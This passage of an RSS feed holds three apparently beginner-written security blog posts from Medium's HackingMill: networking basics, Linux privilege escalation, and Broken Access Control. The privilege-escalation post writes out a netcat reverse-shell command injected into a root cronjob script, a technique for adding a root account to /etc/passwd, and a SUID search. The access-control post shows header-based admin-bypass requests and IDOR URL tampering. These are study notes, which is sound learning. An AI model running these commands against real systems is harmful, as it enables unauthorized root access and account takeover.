Addresses. I will start with MAC, or Media Control Address.</p><p>In a computer, exists a device called NIC, or Network Interface Card, which is a simple circuit card that makes it possible for a computer to connect to a network. A MAC is a unique universal address for a NIC and is linked to the hardware of network adapters. It is also called a physical address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*3P2TyVC6rr_nLH1eF-VhTw.png" /></figure><p>A MAC is composed of 48 bits, 6 pairs of 8 bits (two characters) separated by a colon (:). In this example, when A wants to send a message to B he creates a packet with the IP of B and the MAC of the switch. When the switch receives the packet, he checks the IP and changes the MAC to that of B. A MAC address to know is the address FF:FF:FF:FF:FF:FF that is the broadcast address, which means that a packet that has this address is delivered to all hosts on the local network.</p><p>An IP (Internet Protocol) address is a unique address that identifies a device on the Internet, it contains location information and makes the device accessible for communication. The internet uses them to differentiate between different computers, routes, and websites.</p><p>In this post, I will only talk about IPv4, which is the most common way of seeing IP addresses but I encourage you to search and learn about IPv6.</p><p>As you can see in the image above, an IP address is composed of 32 bits, 4 segments of 8 bits separated by a dot (.), usually depicted in decimal format (0–255). Each segment is called an octet.</p><p>There are a couple of special IP addresses that should be known:</p><ul><li>Privates: these stop users external to the network from making a connection directly to a device in the network. They can be (x can be any valid number):<br>- 10.x.x.x<br>- 172.16.x.x — 172.31.x.x<br>- 192.168.x.x</li><li>Loopback: these are used to send messages back to me:<br>- 127.x.x.x</li><li>APIPA (Automatic Private IP Address): these are used when the computer can’t connect to the DHCP server (a server that automatically assigns IP addresses to devices):<br>- 169.254.x.x</li></ul><p>Well, this is all I wanted to talk about in this post. There will be a second part where I talk about other fundamentals like switches, port forwarding, VPNs and so. Also on this topic of networking, I’ll also make a post talking about some common protocols, services, and tools.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ec06fd83ac60" width="1" height="1" alt=""><hr><p><a href="https://medium.com/hackingmill/network-fundamentals-part-1-ec06fd83ac60">Network Fundamentals — Part 1</a> was originally published in <a href="https://medium.com/hackingmill">HackingMill</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Privilege Escalation (Linux) — Part 1]]></title>
            <link>https://medium.com/hackingmill/privilege-escalation-linux-part-1-8efce332f76d?source=rss----c9d120ea77d3---4</link>
            <guid isPermaLink="false">https://medium.com/p/8efce332f76d</guid>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[LumberJohn]]></dc:creator>
            <pubDate>Thu, 10 Feb 2022 14:58:11 GMT</pubDate>
            <atom:updated>2022-02-11T13:03:30.207Z</atom:updated>
            <content:encoded><![CDATA[<h3>Privilege Escalation (Linux) — Part 1</h3><p>Recently I started to study more in-depth about Privilege Escalation in Linux. This story will be a compilation of my notes, hopefully, explained well enough for anyone with little hacking background to understand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8gvERFVuXWGrVjQ4vSSCdg.png" /></figure><p>As always, the first step is to explain what is Privilege Escalation. Then I will skim through some common steps before finally going into the details of some of these techniques. Because I’m still just a noob, my knowledge is very limited and there are hundreds more techniques I don’t know about.</p><p><strong>What is Privilege Escalation?</strong></p><p>Privilege Escalation is an attack that involves exploring some bug, misconfiguration, or design flaw in an operating system or an application to gain illicit access of elevated rights or privileges (root), beyond what is intended to the user.</p><p>There are two types of Privilege Escalation:</p><ul><li>Horizontal Privilege Escalation: involves gaining access to another account, human or machine, with similar privileges. Usually referred to as account takeover, this explores the lack of proper protection on said account. It’s important for an attacker because it increases the attack surface and maybe this account has access to something that has a vulnerability that allows vertical privilege escalation.</li><li>Vertical Privilege Escalation: involves gaining access to an account that has increased privileges, for example, from a normal user gaining root rights. This can be complex because there may be needed several steps and conditions to bypass or override the controls.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*8CnFAfjacMZeskOjkW8uxQ.jpeg" /></figure><p>Every account on a system has some form of privileged access. Therefore every account has a definition in the system of what it can and can’t do.</p><p>This is the basics of Privilege Escalation. Now I’ll show some of the most common PE vectors and some important points that should always be looked for.</p><p>0. <strong>Root</strong></p><p>This is just informative and all that are reading this post should know what root is in Linux, but for those who don’t, root is the account that by default has access to all commands and files. This means that is the most privileged account in the system.</p><ol><li><strong>Sudo</strong></li></ol><p>Sudo is software that allows a system admin to give certain users (or groups of users) the ability to run some (or all) commands as root while logging all commands and arguments. So, when a user wants to run some command with root permissions it usually does sudo command</p><p>The first thing a user should do when gaining access to a machine is precisely seeing what version of Sudo exists (if any) with the command sudo --version .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/192/1*P09iaF4mHtqHEMSs228PFw.png" /></figure><p>This is currently the latest version of sudo so it shouldn’t have any vulnerability, or better said, it shouldn’t have any *known* vulnerability.</p><p>A typical attack vector in privilege escalation is outdated programs, and in this case, there is a known exploit for sudo version ≤1.8.14 that allows any user to gain root access (CVE-2015–6502).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*DN7no6mGj_l_vYPj4dzvaQ.png" /></figure><p>Still in Sudo, one should always run the command sudo -l where one can see which commands a user can use with privilege on the host. Still, to run said command as root the attacker must know the user password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*WTxzvIIEDq3Sd_5FtrZKpw.png" /></figure><p>In this example, by running sudo -l we know that the user can run the command sudoedit on the file /home/*/*/test.sh as root.</p><p>2. <strong>Writable Sensitive Files</strong></p><p>This happens when the user can write to /etc/passwd or /etc/shadow . These files are where in the system is saved all the users that have access to the system and the password hashes of the users, respectively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*dbqLE5_oFiBDWmjyfoh_Aw.png" /></figure><p>The image above shows the correct permissions the file should have, he should only be writable by the root user. If any user could write in it, an attacker could create an entry that says that a certain user has root privileges.</p><p>Going a bit more in-depth how this happens, we first have to know a bit how that file is populated. This is a normal line on the file:</p><p>test:x:0:0:root:/root:/bin/bash</p><ul><li>test: is the username</li><li>x: is the password. When it is an ‘x’ it means the password is encrypted on /etc/shadow</li><li>0: is the user ID. ‘0’ is reserved to root.</li><li>0: is the group ID</li><li>root: is the user ID info</li><li>/root: is the home directory of the user</li><li>/bin/bash: is the absolute path of the shell this user uses.</li></ul><p>Now for the Proof-of-Concept of the vulnerability. To remember, what we want to do is, if we can write to /etc/passwd , create a password hash, make an entry on the file with the hash we created on the password, login as that user with root access.</p><ul><li>Create password hash:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*U4Z1NnrqHieyy96AA6W6EQ.png" /></figure><ul><li>Create an entry and put it on the file:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*69QKGUEDZWVNcaEuokeA5g.png" /></figure><ul><li>Simply log in to user ch with root privileges. The password is pass123</li></ul><p>3. <strong>Processes Running Automatically</strong></p><p>Cronjobs are processes that the system runs automatically with a certain periodicity. Sometimes these run a certain bash file as root and that runs a certain set of commands as root too. If we identify a cronjob that runs a file that we can write too… You see where this is going.</p><p>To see what cronjobs are running simply run the command cat /etc/crontab . If this doesn’t return anything useful we can run a program called pspy64 (<a href="https://github.com/DominicBreuker/pspy">https://github.com/DominicBreuker/pspy</a>) that shows us all the running processes in the system.</p><p>In this example, we found that a certain file (cleanall.sh) runs as root and we can write to it. So we try to make it run a netcat reverse shell to our machine and, if the connection is successful, we gain root access to the machine.</p><ul><li>On our machine we start a netcat listener: nc -lnvp &lt;port&gt;</li><li>On our target we put in the previous file a connection to our listener: echo &quot;nc -e /bin/bash &lt;our_ip&gt; &lt;port&gt; &gt; cleanall.sh . When this executes we have our root shell.</li></ul><p>4. <strong>Abusing SUID/GUID</strong></p><p>This is a bit more tricky, so there are some theoretical concepts that must be talked.</p><p>Everything in Linux is a file with permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*uwFNGb8LgOow3H5Vx-K_Fw.png" /></figure><p>This file has all permissions and we can set this with the command chmod 777 . Why 777 you may ask, well it’s all about bits. If you think of these permissions as bits 7 is the combination of 4 (read), 2 (write) and 1 (execute). So chmod 600 corresponds to rw -— — and chmod 764 corresponds to rwx-rw-r.</p><p>A SUID is a type of user permission that users to execute a file with the permissions of a specific user. Those files which have SUID permissions run with higher privileges.</p><p>Well now that I did a terrible job explaining these SUID permissions, how do we find them? Well using the following command find / -perm -u=s -type f 2&gt;/dev/null</p><p>Now each command that has a SUID has a different exploration method so I can’t possibly put them all here. But there are a lot of exploits on the amazing website <a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a>.</p><p>5. <strong>LinPEAS</strong></p><p>LinPEAS is a script that searches automatically for possible paths to escalate privileges. The objective is to download the script to the target machine, give it the rights permissions, and run it. We can obtain the script in <a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS">https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS</a>.</p><p>Well, this was a lot. I thought that I could put all, or almost, all my notes here but I was wrong. I had to divide them in two parts and, because I still didn’t write the second, I don’t know if I still have to create an extra t</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8efce332f76d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/hackingmill/privilege-escalation-linux-part-1-8efce332f76d">Privilege Escalation (Linux) — Part 1</a> was originally published in <a href="https://medium.com/hackingmill">HackingMill</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Broken Access Control (BAC)]]></title>
            <link>https://medium.com/hackingmill/broken-access-control-bac-e061a5308c75?source=rss----c9d120ea77d3---4</link>
            <guid isPermaLink="false">https://medium.com/p/e061a5308c75</guid>
            <category><![CDATA[broken-access-control]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <dc:creator><![CDATA[LumberJohn]]></dc:creator>
            <pubDate>Thu, 10 Feb 2022 12:15:15 GMT</pubDate>
            <atom:updated>2022-02-15T12:02:36.101Z</atom:updated>
            <content:encoded><![CDATA[<p>These are some of my notes about Broken Access Control. These notes will (maybe) be updated with more info as I learn new things.</p><p>A few months ago I started learning about hacking and more precisely web hacking. Here I will try to explain, as clearly as I currently can, what is a Broken Access Control, how to find, and maybe, just maybe, some examples of exercises I’ve done.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hhwCtCK8QxC9IIxtvPIaYg.png" /></figure><p>So, without further due, let’s begin…</p><p>Because we can’t start testing without understanding the basics, I will first start by explaining what is a BAC and the different types of BAC.</p><p>Broken Access Control is when there are a group of restrictions about what a user, be it unauthenticated or authenticated, can or cannot do/access. This can be, for example, an unauthenticated user that can’t access certain information on a website or an authenticated user that can’t access an admin panel.</p><p>In a web application this control is dependent on three factors:</p><ul><li><strong>Authentication</strong>: This is what identifies the user and confirms that he is who he says he is (I know, a bit confusing but bear with me).</li><li><strong>Session Management</strong>: This identifies that the subsequent HTTP requests are made by the same user.</li><li><strong>Access Control</strong>: This determines what action can the user make on the website.</li></ul><p>As the name of this web vulnerability says, it is focused on Access Control and, I kid you not, there are also three types of Access Control:</p><ul><li><strong>Vertical Access Control (VAC)</strong>: These are the mechanisms that restrict access to sensitive functionalities that normal users can’t do. One example is that a normal user can’t delete other users’ accounts but an admin can.</li><li><strong>Horizontal Access Control (HAC)</strong>: These are mechanisms that restrict the access to resources to users that have been guaranteed specific access to that resource. An easy example is that a user can’t access the account details of another user.</li><li><strong>Context-Dependent Access Control (CDAC)</strong>: These are mechanisms that restrict access to resources and functionalities based on the actual state of the application. This can be confusing but the following example can easily clarify. A shopping application can’t permit a user to change the cart after buying the products.</li></ul><p>This takes the theory out of the way, but there are still some tips that should be said before moving to the practical part.</p><p>First and foremost, as it was explained, these are functionalities that protect the access to info/actions from unauthorized accounts, so the first step to find BAC is to create two (or more) different accounts, and try to access information about one account from the other or try to make and admin action from a normal user account.</p><p>There are some parameters/keywords that should immediately trigger some sense that they should be tested. These can be numeric values such as id, account, order, user… Some functions such as change email/password, change user role… And even the access to documents, emails, profiles, groups…</p><p>The last tip I have is to make an MFLAC (Missing Function Level Access Control) matrix like the following. This will help you have a clear view of the functionalities found on the website, and who should have access to them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*EKkfH4WLUlbPf9CpJpPwoA.png" /></figure><p>Having said all this, let’s go for the meat and potatoes, the practical examples.</p><p>There are an almost infinite number of attacks and techniques, and I can’t (for the love of God) put them all here. So here are some examples of different flaws in multiple types of Access Control.</p><ol><li><strong>Unprotected Functionality</strong></li></ol><p>Sometimes web developers find it easier to hide links to “protected” functionalities instead of protecting them. For the common user, this is enough, but we know that just because we can’t find something, doesn’t mean it isn’t there. In this example, we are unauthenticated but bypass the need to authenticate by going directly to the URL that has sensitive info. <a href="http://example.com/app/admin_getAppInfo">http://example.com/app/admin_getAppInfo</a></p><p>And because this info should only be accessed by admin, this is a case of a VAC.</p><p>2. <strong>Parameter-based Access Control Methods (Vertical)</strong></p><p>An application may determine the access rights of a user at login and store this information somewhere (hidden fields, cookie, parameter…). This method of protection doesn’t work because the attacker can find how this information is stored and change it to have more rights. This can be as easy as changing a value on a role parameter, or changing a cookie to say “admin=true”.</p><p>3. <strong>URL-based Access Control Circumvented</strong></p><p>In this example, the website has an admin panel that is accessible to unauthenticated users but there is a front-end protection that blocks external access. Another thing to note is that the back-end is built on a framework that supports the HTTP header X-Original-URL.</p><p>This header allows the user to access one URL but has the web application return a different URL. This allows the attacker to bypass the front-end restrictions.</p><p>Get /admin HTTP/1.1 — 403 Forbidden</p><p>The original request to admin is forbidden because we are an unauthenticated user.</p><pre>GET /<br>X-Original-URL: /admin</pre><p>This is not blocked and the response has the contents of /admin. With this, we can make a call that causes a privileged action.</p><pre>GET /?username-carlos HTTP/I.I <br>X-Original—URL: /admin/delete</pre><p>4. <strong>Parameter-based Access Control Methods (Horizontal)</strong></p><p>This first example is the most simple one of a HAC where there are no defenses against a user simply calling the account info of another user. Here we have access to the following bit of SQL code:</p><pre>pstmt.setString(1, request.getParameter(&quot;acct&quot;)); </pre><pre>ResultSet results = pstmt.executeQuery( );</pre><p>An attacker can modify the “acct” parameter on the browser to send any value he wants. This value should be verified before returning the info, if it isn’t we have a HAC. An example of an URL that explores this vulnerability is <a href="https://example.com/app/accountInfo?acct=notmyaccount">https://example.com/app/accountInfo?acct=notmyaccount</a></p><p>5. <strong>Insecure Direct Object Reference</strong></p><p>There is a special case of BAC called IDOR, or Insecure Direct Object Reference. An IDOR is when we have a BAC with a numeric value, for example, an URL that has id=1, a cookie with a user_id, or a request to do an action to a specific user.</p><p>In this example, the website saves logs directly on the file system of the server and we can view them using static URLs.</p><p>GET /download-transcript/2.txt</p><p>As you know already, we try to obtain a different log than the one we have access to by changing the number.</p><p>Get /download-transcript/1.txt<br>You: Ok so my password is kip$23jf&amp;k8. Is that right?</p><p>In this example, the log actually contained a password that can lead to a compromised account.</p><p>There is so much more to the word of Broken Access Control than what I said in this blog post. Some references I used for my studies and this post are:</p><ul><li><a href="https://portswigger.net/web-security/access-control">https://portswigger.net/web-security/access-control</a></li><li><a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/">https://owasp.org/Top10/A01_2021-Broken_Access_Control/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e061a5308c75" width="1" height="1" alt=""><hr><p><a href="https://medium.com/hackingmill/broken-access-control-bac-e061a5308c75">Broken Access Control (BAC)</a> was originally published in <a href="https://medium.com/hackingmill">HackingMill</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>